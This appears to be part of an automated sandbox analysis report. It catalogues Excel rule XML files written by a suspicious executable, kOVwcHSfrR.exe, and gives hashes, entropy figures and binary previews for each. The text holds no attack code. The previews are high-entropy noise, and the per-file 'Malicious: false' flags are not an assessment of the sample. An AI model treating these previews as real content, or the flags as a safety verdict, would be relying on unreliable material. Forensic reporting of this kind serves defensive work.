SHA1:	2D9877B9DF9392B119B33383343AF5BBA36211B4
SHA-256:	6C7C017F3334F16667BD5155BE4D4ACD0ABD224A818A626702C80DFC6E7929FB
SHA-512:	6A8F806395E59AD89F1101556431E059E5C79A7EA6EFDFDAB1D9CAE91081BA087CC754BA198572EA8D88C28E2110656734BE8ACE61F507FFBCC306F893DB6D2A
Malicious:	false
Preview:	<?xml.@...u.~..j..;.k4$.-...<?.qG.v.J.q9vo..{;[..n..S>.u..Eb...........!P..n..-i^.."\g..j2...q_....]...B#...R].K.}.Y..@..u.x.n:d..."&."(...nr5",.c....k&..s....yY..KR\~.....)...a..@..p.=.?........@..na...0.EF.......r/7.,.....{...~m/P.\..y.e\|.yB+.M......J.o..db;.....C.P..7..........G.v&.J<....ziMe......U....kV........ :.b.F1.......e.=J>w.....U.V.z..}.+lAT0.....Uz.,k......i).G....c#..t....F.a.{....Y..H.~c..c..{..b..~j..y...O.?...n+i3.'.09.'.\|.F.....U.........O.>.....[].R..73...Q.......0O@........(.+..M..]....^`.2-...F!,..G.a..'.G.".....m.V.3pX4 O0......y.C.60.$u.SG...K...l....J9Q"$.q...z-.H..<k..&..l..n.....11..).F.+.. ...?.....A.@.r:.....b..Xx...qi2...M...C...(w...w@.}^[4..Z...P).h....j....e...<.HjI.L~. !BV2.H.L..D.4.&u.86=.%Y...&..foq...P.... ......rf...1..%.B..R.. Av..9..&D...b..T.q........Oq.G..\........D1.y/8.5......3.<{.(..............s.e....i.5...c#}.o.<(..Y..O .X..$.}7V.......y........H9.=...$..7..<.I....x..^?E..{..9.I.!...S...:.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702251v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.8887238858015305
Encrypted:	false
SSDEEP:	48:4S5pJI8nt8FOwVbnMWiaLsOr0X8AqVpfkyD:40w8ts1nut3pa
MD5:	24E13F09B3AA6FA25CE6EFEBC3930164
SHA1:	C58856F1CBA5EC17B751C552BD62F364BE18A330
SHA-256:	AA45FABB7FECFD5A6E0E7AADBD4CA9D40808D2A1222D87E9E394AC10B654356F
SHA-512:	CE424EEB38113AC3C4A637065502B386810A8D697399986068B50D2779D3D4FFC3E8A11C6541CEFEADB4C027D812168649FA75BB58A78AA9BE9E825A87D63072
Malicious:	false
Preview:	<?xmlG.{(.,....Z.p..,2.^..a....R.I...V...~..P).)..........@..".".M...x...C~c.ur.3y....>...z.=..\|..le.t.,._...](.e..$@... pJ....9..(......I....kU....9_.....e..&....N.....7..L....0.....B....D1m..#<>..W\...FI...8....'........D.S`.n...,Y...-K.E._..{fYG...@.....}L.D...ha.....$x...;.....nB.-.r6...Wd.BY..b-B.d.Y....?......9O.c...............[..~...G...ET.#...K).\.....8...kY...,..f.-W.4..L.......%A.D...0\|..`8.%.Tfm.t...j....-.bl....$.A....t...S........Q.o..-maeU...&.\#K+.H..f..J"..=."r)gj../1:)....p.....9X....e.8l.s+..Q.F@.[...f.?..G.<2.......i.....i.a...w.....\......Y...r..n.V....s..k'xt.....k.....\|.7^..E.fz....E....Q%......~=cq./$.......LN...... .N.X..7.....u.....ZXZWH.....f....?...j.....P uOX..=`..\|FTB.v......f7..wD.Pm.]9G.b.......'h..........8v.1Yw...w.F.6!Cc2.0fF.~!.).A..1..-7...fzD..(...&S.\....t......>J.F_...^#.P..,Z.Y.. .z..X...HE.w...FS.(...}P9c......@,j..j./k........q.{..T7..X....2.O..q...v...F{.a...P....X.U"....4=b[.8..h......w....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702300v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.870736286769483
Encrypted:	false
SSDEEP:	48:mcegqlRnabP2LhCmjJNxvhXT5XOn8EXzl27yD:hkjnakhXdNZhXFodE7a
MD5:	DF8F26FE0FE5213F0AB41A3A1B1F9972
SHA1:	1CDBF500D64F6E7C99265B0DDCBB2817AFC31A21
SHA-256:	F1810BCEB5BE55BED8AA9FC66031A4E5F26F470649CACBD4333FC94FA5601D74
SHA-512:	E2F26E4B6778EE5C4D9A554131425A5DE138FE208177FCA6C6E63E9DA30261D2EF3321F10ACF38904EA07816C962D454699831AFB3849CF9B898B227B62AEC4E
Malicious:	false
Preview:	<?xml.Q.o..S........^dK3...;.....(....:n..W.W...i+.e ....e7.75........5(....f}........!.@...b]h....e.B.Af......-!..d\|o..A..b........q#G....y..u....L..w..~.......R.sU......m...J>0.q.~./.tyb.>.Uq.9.....[..;.NL(...V..9.k...aV......}=.....[2.!.@l...F..!.!"..qr5S.:..?V...}d....M4o%....M.EbttV.g....{-.&......b..ma.(C..5Rq...>v9..a.8q.>%..!.......5..D,.......E.......!j.Yu...U...S.....E..xg\w4._.%gh..........{..y..]Z.]..~}.}.....A)...}.4\..w..aw..p.hg..STJ!.[....Y.B...(..,....M}...v=g..N..N.".H.. ;..niT......#a.Q.j...nm...Pe...O8qr....^@.;I.........Q~G..D~..o.....e\|z....F./@...x....0......zuU}..h^mBhl...j.6x.J...5,.h.[\z..j.ct..#..[K....B.v..P..+u.;.l.R.:.5...;..3_....'L]Q..#...F+..z.....\|.a..4e"......f.9..4.i...y_.D....}{.......xkr5....:...R+.f.R.....-(v....H.........z.n...(./._.....a.{..s{..0.4.....L5D...}C....x..r.w.85.....T....;..AX...H..2i...L....~.f......vN8Yz7...uJ...4..<8"...&......../VNc...Z....T..j..P=..#

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702301v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.883058631284357
Encrypted:	false
SSDEEP:	24:7eI62nWtaDlZsLbUBYj+JYOcSMlbkkAb9L3mIGbB4mR4vWfGvIQ2kaq4UThp/x2a:/6iWt8ldYj+Jx4IURDGF2kfNhpoyD
MD5:	08C0DDD0D0078F25D67089FD73CE2FE4
SHA1:	DF20207BBC8A42086B7BF2B9EFDF4E02F127E1A6
SHA-256:	25D5CE424A8D93899EE4396ACAB214672FA17174784FAAD60524A3991177BF41
SHA-512:	F7CA4DA1DD8F84C4724D847D08D3FE395E44F2BE20A827B8E5604ADF6235E234EB61EB48100648CF28077BA295463A2E6091315230AF925C3E24F44AE1A9D906
Malicious:	false
Preview:	<?xml..I..<'.G.<.n..;..d ..>+.T.da..1@...5A..[..ln...."`W..t.E.>Q.&P...H9.GR....8.9....9..A...9...-\I.....iG.o<...+.u..@w.."y...Ui.z3....Ph.....S.`X..J.s...0.O.$W.BY.b3..1.."......E..<.=.~..l..t.j..{..t...Q.{.MH'.cE.P.O..B..t......._.0.F....2l.\|=.......h..f)/O......>.3.8q.....}8VB_.N.Y...Mt.p...%Am..G.>...@..cS..v..?"J.w.7...C02qy.nX..Y...j.....8b...h.r.._...\|..&...t.V'X..;.`jzl(....<..-H..D.Y.....ELIy..l..E.'.7...g^.)./%.d.-M.p.r}.z.2...j.. .D.Mfd....3..Z...._Q..\|c...Q}.+k.......G^.idBCMS3...$.7..E.l.......L\|h.....@....^.....)i..O...&...;{.9[H......VR.....L@9.9$..$...7.\..>5.Dw.TW.....I2}.no.......L'I.io6..^.!r...Z8.......1.......Q."A.I5.9...>...sX..E.b..w.A2..qL%D''..MfQE.sK.U.*.....W...'....j:v..]...V.">s..q...)..q...5P....9U.O[...w7.....0.T..n..S..=.6.+.x.K>.VG...kP...]..4.I..@9..+.G./.v.%-7......?.....w....V...B.......%...-...N.o7....C.=....9..aQ.....47_..n..-...d.a..g7.......[..D.A.t..pj;D....]..j.Y.\|MS./.~t...;.E..J....M9.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702350v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.879835487523273
Encrypted:	false
SSDEEP:	24:64ZsxoJQQaCJCzELtac1YzpJxaXdX7BaxXWjp+sN6+inCaD9CKWeFjws73LZYMfF:6fgpaJodezxq3aAjr8xrZ0yD
MD5:	C2C64FEA6B4C376B8133A0CD29359812
SHA1:	04C951AA767BD2E5283C39D07A85A480DBDA4366
SHA-256:	F8A56B8218592E4CCE5EAF01F179772998492603E557128D46D3A9A4F1A75B91
SHA-512:	731B422EBCD8D9B5F414D1CECA837A59FF37AA0CD9CF1F4A73DA936446FCA5D5B9930E605CFCC596F9D5B913CF48DF168480CA807EB035FF67FC2FBABD70D74F
Malicious:	false
Preview:	<?xmlR.W..."..O\.w.\|.6...(...$B...p.7d.......-i'acHZ<......O.(..}H.........G.%.=...T..)m_.........-.TYO.Vn_(rt..7.b..Z....R..I+..g......aa...O...!.)#.rZ..d.a'IM....Q.;.....\|..'...{.w~..s./.8.........w..G...g.M_vmHL..F.1.I7..%.......u..3.d........\|..\...W.F.........0~.3....2.)8u..@...A..+./..jl....J(9....}I.l.:./.h2O.`....2......l....O.6.q.;L......'..@.......7......v....#.b.P)..x...-f..m.nnR`8..~..Y..&.E...I........Cu...1Hn.kIl.1..)...w..a.s..8..E...&.q.......MZ.$(.A...!....!....{Fy...ag..;>\|..&...U.._..7^....Z8%....R........t....m...Fc.k...]..n..$....7.. ...>,%^Y.9../....,....MM.P.0;. ..e.l..JTM....(.U7hV....v...<....f....o.Ku.A(.+p.%z.]R..p..w..W......u..r..\|.....Tm..7F.5.... .\=.9.Q..'...B..5.EY..?.Nd...r...h@..\Q.Xg.b\....:.[vB..J..e.W...k."...J\|.ABjF.k..^awi.../J..5..&...i......OB.AY.V3......).`Q.^3y.E.?%@^...[..>f7m.2....]..'...[.2...iq..1i3...G...n.1.d.m.Va...\...i.......hv.B.5.......O.}...[p(.<..(XH).q....U.$Q.A.s...l.2-..P...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702351v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.883559702903585
Encrypted:	false
SSDEEP:	48:/LqC46p6H3HEy7jLXk9j1iA5IsajiWrsi8yD:eC46sH3t09YEajiWrIa
MD5:	94CF071D2D7F3772884BB4B6F787A059
SHA1:	E321D3C44ED121C07E2D805F32901C24CD5FBA1F
SHA-256:	5CDD0BC73B119300820E2B7D846EF193BA8E3B94B8B954FFC13E6C25D8789F7A
SHA-512:	A3972B6DDBA0598417D16D6BAF89216EE822951D82741CA8354D39793BF5BE0D68C2B1F9B1AD5E816410F5090538438A5A753962182EC571B8721568B6D28C0B
Malicious:	false
Preview:	<?xmlwm...v+[.....i.lO...%E...#z..cs.....$.+F.e....VT.[.......r.b..>>b.?>..]..vZ..h.'.N....]....&Z.l...q.o..MfA...D.u...?....Mg..Bd.[.l.%......)..JQd.a4d(.y.1.D..h..$....0g...o.}M...J8..s.<. .W.DH\|....'w.t.m.n..s..J...o.i.`..".Ltf.$#.........&n..J..O.UW2j.P..?.O.,e.u....TG....%......+...1`........h!.G.e.=....n..e+..D.s.....1.~PTg...../.#.R...w).%D.q^..U.IF.......:...@.7-.>.......#..w}W]...qX.n..3.<..K1~.e.....\|.....oJ.r..js...Z_.........-}Z....n.v...i.P.]...AFP....]..-O..{.O.=.....jv..^b.a,.....[...M.$@.}....D....8...x.$u.....pp..\./8.{YU-OG..y<...9...<.@.h....s..e..]..>08..pNi...$N../.....?......a.....3..RW....X.pa%.X......3p...4...<....B.4..Z..o..M...z..r`J...k.W.......F._.V....reR....c...........U...!..Y<D7.wS.vOD....VS...=..?..y..l...g1.3..h~....N..uS.."n.Ll'.t.....{..B.T`..?..>.4.F-.*$...X.@...\.~....5....qlB>......+.....p.d\|...7....S..w..k.D..aM.....'...y..../..!...#IlMu.2..?..h..=?{.pr..~.7...(6.ofR..P...N.H.....N..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702400v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.887586872350422
Encrypted:	false
SSDEEP:	48:eHyvLkbF/JijCrBsYZwT2PLqTQdfl9blvRwyD:MFUCV5TqTCl9blOa
MD5:	3ADECF2E174BE6EECFF631B0EA98C87F
SHA1:	4904F514626C71F767423C1C7EC0B52030A9B81A
SHA-256:	7AEB4D5BC94DE89083B96663A865474C25CE6B4A2C76D76A83A2EBF5C5B014AD
SHA-512:	AE00823E11F4C023C14592DB0E83903B0D87DDBDFEFD24A9D52BB7A92B76E9AB4DF1C20F40E2FC0A1DD4F0EBF4875453137D0E59C74F1128952F098FF6293326
Malicious:	false
Preview:	<?xml.Gi....U......j.....5...O.1..I...M..d..(.f ..Z...hbt....Mr.G....,...&y.Zzfj^.rtf...y..G...]S...?G.p.(..BE.3.......3....0.R.4.S..+i.".S.v"..-.)D..6.$..o..y.....B........V.....Zz3g....C..>...e.x^....9.(.&.vkQ..........-.\|t..fwyn........F.T3..&t.8H.j..U.F.?.G..kU..$...S6.#.\M1.m@3)8u.ESG.T.#.o2.9]o.5........h.Y'.b..keW...[?.J.CG.D=/.1].28.u...s?V..P.N...5.,...J#-...6%aL.....,.(..o.....t{.....D.N. ..3......A..J#....#.......^.>.Xm..B.Ks.]7Um..GR...4..UE....E`........2.R.d.\|e.Y...b.i_+..j...DwY6vZ.j...Lv..YF...Sq>(.n.W.p0H;.\.c.._<t...l..................}..v...<@m...............5A.\|...v).)c'...7r..+.......F3?@........z.$..<..<.F.6.U....Q]...y.\....$..&....4..R..R.Ir..I......P]..J5....-gaS..9.....h`..\..q.a......<...n.\|....\j.N.T....v.......M..O....<..{Dc..._.1)EO.Q:3.\|..0j.y...-DZ.u..........8..q....}'.T.?3......M.3..k..9.A..k.5!.1.G..9...1w9.......X..6.......\|..3..P......S...nH..Ig.9V.....qI.....0.....5.-..J.......}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702401v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.879165858350982
Encrypted:	false
SSDEEP:	48:7f0W/VLoNxdPg7W4hA8GrhGM/s0YcF7dcFlOjyNByD:7f0WtL62W4h1GrYf0fyNBa
MD5:	7D80E41BDE067D3B97F893B00CBB1888
SHA1:	2F65350D26969C71705C7863DB26CDE01CF016F3
SHA-256:	1E0A5BD1375051C3D47C5D225DBFB5E37113207DEBDD18D50E1D16EB6FE5362F
SHA-512:	39E4EF44A6A73785C934A5BED321D30B3FAD679BDFF3B41575E855720F208D90CA5D0119D13C7020E40F65A41289590F74FA4B3B3D17189C84B890803ECEB66A
Malicious:	false
Preview:	<?xml....M...Rlt....?....;T.y.EAJT<e.bx..........l.!-W...J.&.n..O.T3.#...e.!W..uo."Zc..............P^.-.Xf.u..\,.Y...k.U.......\|o`%.5............P2...]..s.'....V.../w...{..~...D.iQs.d.8![.8.9...N..4+.............a...pN.....ykh.$.I3Ig.xF.C..7..WQ.......f.R.1..d....R.rB.M..$....?>..@.8.f1.V.w._bE.....&).N..+......Gmr....G....(...s.@...N...Pj...7.}..#..>..BA..`w...f........L..q.....E}<.@2.....pSy[.y..I3...]Cg}.q.&.AC..?.]......"9e.]r....../.9.,;.%YuJ..a....+...o...#b=H^N..n.f......q.Q01.-iQ.wh..-.D.,7......L..S.G....f0........`.j....X.7.n.....j....'....\|.....D.3C.......F....2.~..K..f~$C.S4.D..U.]..6$..{;@..Y+".l..}$.`.]....ZP..+.b.........v]Y.9.A...d.. =...s..R.2HC.=P.pS.B.E8U..Yf7/N.H.....8.v..`.X...9.A.p..S.glK..@A.\i.'W.9.......+.bgG.\.?.;...,...i...S....B%/.7.\\|4I.......w...J&O..xj....%..i..m.wk..'....j..r"%.}.........6....0.+....>......E.'.:T.p..p..8.2].....+....&M.V.....fq.O.l7\|.s5.......}w.G.....@........V7..G.%......{\|..%......*.Zxc.1O.>O.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702450v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.903350662402173
Encrypted:	false
SSDEEP:	48:0JrHcuGrPxF02Bc5e3w4PTInLw5cE16NG7NzayD:eTcJPxeIc5Mw4PTAwLLJzaa
MD5:	73960720FF1A81E19C8F366C4255430C
SHA1:	62D7D523A7D5AC847649AF637EC70D096F2A7F65
SHA-256:	B24166FEE015EF97A96E13297EFC87C076073BD0E3967EB7EF42520E1E87DC43
SHA-512:	ED2BC03FB9AA2579DA23EFCEE3385E4D465942B77C4373FA64B3F5BA90F3A54C1A1F53BFB31D238CE9433F1717625A82E8332F3C76C5EC157376D35E1B6B7DC0
Malicious:	false
Preview:	<?xml.K...R...F....4..6".L.).........a\An...h<..........{.....J._]....K-..c..FQ]..-..p;..Q..Y9~z.`...H9...PX..6 6.F...yP..(..W...esZ....'.n ^."....)....]{K...'8....q}^.3.uo..2K.-....Y..`._...._..T......%....qZN.../..:..TO...;....X....J{.....s..L. .~.....x..$.C....+.O.0...=.9.1....\8..,.U ...pj.8.....=....H..z7.....<..V{WV.!.F.W.=...S...v. ...\....DM4..I.o....1.K..nY.[......GT&...R..s.0...E....?........../..b.X.....zy..;.Q....M.......y~@X..#....W....FzJ.}...O].B.\^...#..>7.GR..VC).....Q..T.&.k.(./k...i.Y.....e3.tU.R.z.U..nX..1_....b..E...T...........`.$P...^.rC4....6./...~.......[P..h.AJwP..g...E..p.&...j.<...........h....."6.7.c..l....8.EwD.i................\|...(m.;..Gn.2..%..PP..{..SGi.H42..3.dI.U.1.8v..l....,2....,..i.k.u..0M.....Op^.F......d.B.a.O.....=......OC{YMA....KYW......Q.b....G.F.[.6j........gr......n.&...up..T.6....;.0nbK.B......Ae......W.\}..NK.2.k,V.+.e...........gc.J.3.1.>.:g.._;..d}...\|...&.N.#.m1...U..$n.#=Z._i.Ks.l

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702451v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.874379545701234
Encrypted:	false
SSDEEP:	48:eoZa7BlyHSPcgxWNlPrEVhDyk1n+bIG6eqIwugjmyD:1Alk6DRK6eqBugjma
MD5:	B03281B7F029644D03BFC9D88A90934B
SHA1:	17F2B0A9558E4D749AF173DE1D5A1FA84482E56C
SHA-256:	E68B59B506D2549F2C17DD9130F86A6EE2E999B8342E2DDAF56EAA455AC2B6DF
SHA-512:	D4848FABD4D795B51A405B45F5A4B8A6359F103B9393A2D9D1BA80E1E16B4558C357BC7AF215DACD67E9379DCB07DDAA25F0EFE6D0366170E93910469C070A08
Malicious:	false
Preview:	<?xml....]6.^.M#R.c..[..@......b.S.+..r.....$y.... ..L\|..6yQ..]...N..w.{@........RmW(<#-q..(.BY.4!L..u....h..7.G..BD...O..Z.7~c7VE./.J.....dh..c...Y.T..`..`..K.Av...ce.F.........qg....EBnm...hv6-]i_.+...[.&J.z...Q.Qz..j.. 'i\g....r...R..jh...)A..)^..go..R._8..[`...V...Ay.S.....%.q. +..3.m9N4..7.T...& ....96..r.yM..S.G.../..U............X.D.Z...7\|.S../!.8....,{..3n.@......./.0.D......A..m....5U.....;...U....=Z....m...P.....'.!vf.....b.{c.7...5....hj..l..cf..Y\|j.\|(..HP.W.W^F....W..ea.....].....M<..{....;.K.Mh>c..V........H..T.t.;1..n......8V..d.........)..x..t.@sb..R.).....[..G.....@..,..`.ig].J.....I]...--#.s...XC..-H..}v:.]..R.]....J.i..O......W.0 5..,..78..Q....,;..._.7S.N.....'.;(.G.....G.....E9(A..P){....#G'..,{o.Vts..bY/.o.5.o..q..:z.h.0....t[.C....X.V,JI..P.O._$C<_nA)....j....j.V.%q7q.]U.C7".p.05...'.Z".........;2..9t...9........z&.z...S.....?%.... .X.....B..9).md.K...f..Is..x.'Y....xY...v.w.A-...o..Jj...&.Y.4..@!..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702500v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.875166964408445
Encrypted:	false
SSDEEP:	48:WeNgTmhKgCM5Am/ixNad5UBHDZHeQ4xjoSczVCOyD:WeST7V8pUze5S5Pa
MD5:	D13D7D06E39DD138FB588E24E928952B
SHA1:	5098472F001DD50BA32285A04278A4C76D8A88C5
SHA-256:	3D894ADF887503E131D98E6D55AC86BA4BD75AE3691D44B7DFB4A8405FEAE6A0
SHA-512:	27DB535BE6A97FC533709377800E0AB6A324F231D4483B8F33E946D086F66A0C962419531555426335729B730B07DC69CF335B3154CF23CA7481CDC9E948EF10
Malicious:	false
Preview:	<?xml.\|.1..z.....:.....\T......)?....3P/.....5.....+...\|.Z;....i...\|y.\|V.zp.>...d..te...Y..........J..........z.....lF....ck.K.h4![.N9(r.B..b.4..v.4......K.b.~....)...J..e.T...%......W......7.9...-.X..m..&0j..K..A.b.}E....h...H3Y.......%S...bj.8=`.7.....w..aX.K...\.>.([rX.~T...4..d..8.u..d............&...I.E..\|v..............0U=..R...8....-'.....'...1...^.vv....?9.Pbs.n....B..G..Z.}....WLV..f.S.l.....O./.Su.}...c.#.F.T.s.C'.p./d........_..lj..P:D.X`.x33{<\.FI..6...Ye.z.1`..u**j"....y'Ii..=.oc_S.dm.n....O.....O...j.t-.>...V#.`.lJ....~.\.k((...i."\|H.e....P. A..g.<...L3.S.........:.K.].\c%.q.A....jI...ox.8......y..x8.R..$....dr.....NM..h.VK..(<.7.0~...S.-.L.../.'J.......R......zS~.#e........-g~.Xy.$.B8........ms.O......R......,.=..QH...-.J............z5Z{..^..3..v.....;}..'. ...........3.$..:.c.m`. ..(.^'..n.....&6...NtY.U..^h.V....O....\......1.\(.Q.R.JX.q....,_...KK....j.$.........U......4U.+....j..s.E\\...:..)..J..c-5.K..2.?1R.;.>CE.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702501v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.877282594081844
Encrypted:	false
SSDEEP:	48:F2ny9B1l9eINZPL6ub60rcgUUHz9h3QyUs1YTlGt7AEQN4o/uyD:F2nUI2ZPfVrRUUT9h3rpiG5PEh/ua
MD5:	5DF351D42CDC196114DBDEE493DFAFC8
SHA1:	6188E515465C6FB2432808C34B48A8B46058A16E
SHA-256:	9775A0D280A57BF1DE1E274D6C9FAC5419FD9362349E563CE996593E140B6BDD
SHA-512:	F985A328A024DAFB853FDEAAFC7ACE3F04529C4C4BADA2252625563C5AB69FA9F224E44BBF3D19AB4B1A9D1CEFCC79648CB7B8C5DF69E269A53B1289C677313B
Malicious:	false
Preview:	<?xml..!..g.0....@O.,..l4wa. 9"..:.<.....u..hO"7.p....7...E.>............... 3....o...H..z..08W.....qv..8.@.Y....jty...e.N).w...m~.u.f.X.Vc.PcD0..x...EO%...8.p.#n.$j.LPNM.i& J'o.}..7t..Fn\|}n...:....A..x.e!.W)?&%..+..d.%.-8.c.i.w.>.G.`.Td.Ih......Q/lj.[..[Q.....t@.rn..\%u....jF...J..........csE.3....IV.n..I.;.:Fo>%..9.!gp5.T.I.o.&Z4I.E..Or..C/..\.4.I..d....P...^d..S.>....2YgZ. 3..p?....'..k.s...[.KS.1.I.....[.B..".{.%vJ.E.......!.TT...'.sPz..=>...:.B.6.pS/......qOgk&w.."......;R.1..lC0..'{....;...[..F... m.6..m.a.H...L....[.$8.t9y..u...I.X......6f7.]..Z..W.N..$.......k....!..&.......bKl.\=^l.~.. @bW..S....g..~...u...c..U..u..2z.8.4.r.Y+E.%....2 G3....:...........h@.m.z../ .....?.......t@../K....Qn...3..8...Cy...OL..N.kPb3............>...q...p._.............d..k.f........>.f...s....q.Px^...n...x..R....5...t...Qc.B.z..\..&.M1..J.y...r...\..'...yU.S&...M..i..-.i.83b.3k.....}D.t.S.(..fU...x......._0.......h.*1...{.M.l1.....DN2.Y8as'.!.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702550v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.883500052238477
Encrypted:	false
SSDEEP:	48:IHE9x/FzG9iziTLgeyt6sLIG4s2w3v0odiKPyD:phEi2TLDyt6tG2w3v0Ya
MD5:	C832D79F7AC8C35DBFC12D0F8C2F5401
SHA1:	3C456C5743F9CACF90FA35E47C9E7F38C41DED76
SHA-256:	241F6C07718AE53072526E6E76881D930845B7A1047EA5454B36175E4616F4A2
SHA-512:	0E21BA4EC4E2BED11835359E793443C159484615D1CA34C6D4DF04AB0CD1D25F45196F8D1645A7A6BA9E519ECA70F2CFFB7C169E789422C49C036BDFACF61975
Malicious:	false
Preview:	<?xml.........Ud.s..u..5u>.#%r..D...r............>a.SA..=\...X..T..r........-..h..1W....0..t......5T....7.4O.(b`=~(Y..^...M.g.u..~.N..K.."...hX0Rvp...,.2......#...b$mn......./...V1...k...`As....M...^]D.>.....a....a..b~c<P..H{.0u...#...x.>....mm,.C...=.....98se.c.-...Rk......dF..R`.....FJ.k.;%..M.R,.B4..V.........X6!6.V8;.E$}^.E.....O.o.......+..AM.^..u.#.r.@.+...o)......{:..?.H{Y\..../.p?<Lu-zf...lY.>T......9}j~.l.:h.0......b. .;..^.l..r.YYa.ewo..41L.XH..r.p.\|2..wI%K.9...&....Y......-..4.e...#3.....-......Z...j.@D.4...N..Bo...a.5.kc..0..HT/........-.....G....@........\_.>.r..nI.w8U.~pI. JO.wL......WL.q...........c..3....9.MZ.:<;(z..!].Jo..`..`Gk^/...v.../".o...x,..GE....g.cp~....b..mP0...a.G.yM..1.K6......).\E.>....+...'.`).....<..Y.F..M6....af]........../.".*&?"..._..Iy....Qs.n..+K...\|......F.........s.=x.ez(Q....u...V#.t...0..;..s..4.+!P:q.7...WU.>..g.)..-..>...F.V.b......<E.=.89...p!..x7.'..b....K.g.....< .s..x..,.....>.....B../....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702551v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.884192946507753
Encrypted:	false
SSDEEP:	48:wpKe+tnjMHw/lwGpB9rk+H6U52QsVWbP2voHdP0sHHDdyD:wpKbjMHw/yGzQ+aU52QsVq1dMsHHDda
MD5:	9A2151DBE292C6F25428E372EF811EAE
SHA1:	4F075D5A69124DEBF8CAC44F66DFDDA0F94B57A3
SHA-256:	8A21394DF70AC6571F36796A2634197078F4AEA44ABB788ADD423905F89FF4A6
SHA-512:	256AF3E0EDC321D90F46ED262089B7206C3D7E5354A698B3D0A31E1FBC1AA9795DFB508A293015BA6DB9DA458DE29CDF348540A41D7D96D129052378628E3AD2
Malicious:	false
Preview:	<?xmlhz..Yw..S\|..2CK..7.5.(.R...\|]..>.&.QK.RF.V.X...A'...R...x.T>/........~o1..'.......e.C.{.M.r\|.v..E.,..... ......R.V..4d...(.s.1..t...r.........lu....!. !%......sM...=.\|G...W..ubl...ka..B6y....D(cZ..-...aFq.-.v.....6..0;)3...z!.&.z..`9.ls"..^.....&"3..E......nTQ..y<..a...>..........L..SR..AW\./..W..SW!.c.6..~.B&...8..\|...1...8..XRO..?K.mz.._.n........9 5...:....VGLL..H@.>.{e.&.t..'%....y^...`.h.e5.,&.6...S."..fw..>..$V.<...........$..5.o..o41...}.h..Z......r^........^...\./ .q0..s....Ck.q.%5C].Jk..?..B......,..R..P8..d7.o..k[x.T5X..T.EBUm....k....q.."J..).<1....I.I ..."(...$@.....A.1...f.=...v...mN^.P.&..K.#...g1...e+.....I..;.11.....'.(.z.2....u290D}.4.~w.D...4:..~.u...yy.D.q.....{ib.t..!.].-.H.....8..r.?...h.Y.S..X.Q.3[...f.}...(n...Xq......b(...;. 1..Ym..gvn"G.W..O.z1x......R...{..`..)...n.b.Q.a[.J.....R..L.d.s<0..+f2.Y.6..X.{o?.xu..LA...F2..e...a.JkK.......{.6..@..kg.w5....R...}$~.......O.....{ ......~15\..U........}.i..`.N2.r.Jw.2..3...YB

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702600v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.8753069631932
Encrypted:	false
SSDEEP:	48:rxuCMLz0dV8MwZqbWZhhbpYgY6AcpM5ujyD:rLdV8MwZqbUpYgY6SIja
MD5:	F11EF12EEE70FDCEFFCB0ED44FDAAA38
SHA1:	92DC76164F10BE329FB3490A68D178A73EB067EC
SHA-256:	982B40B820085419860E1CCAB7260A5F3B5BABDD992AA95ABCC47CE61FA970AD
SHA-512:	6A4EE0FD1586E09CDD4AEF069F5851CFF82D624A5ACA6D68AE49010482B07C4B91317B2B54FEDAA74C9C650B98F9C9610162279A6A156CEB19D49A48A5C89009
Malicious:	false
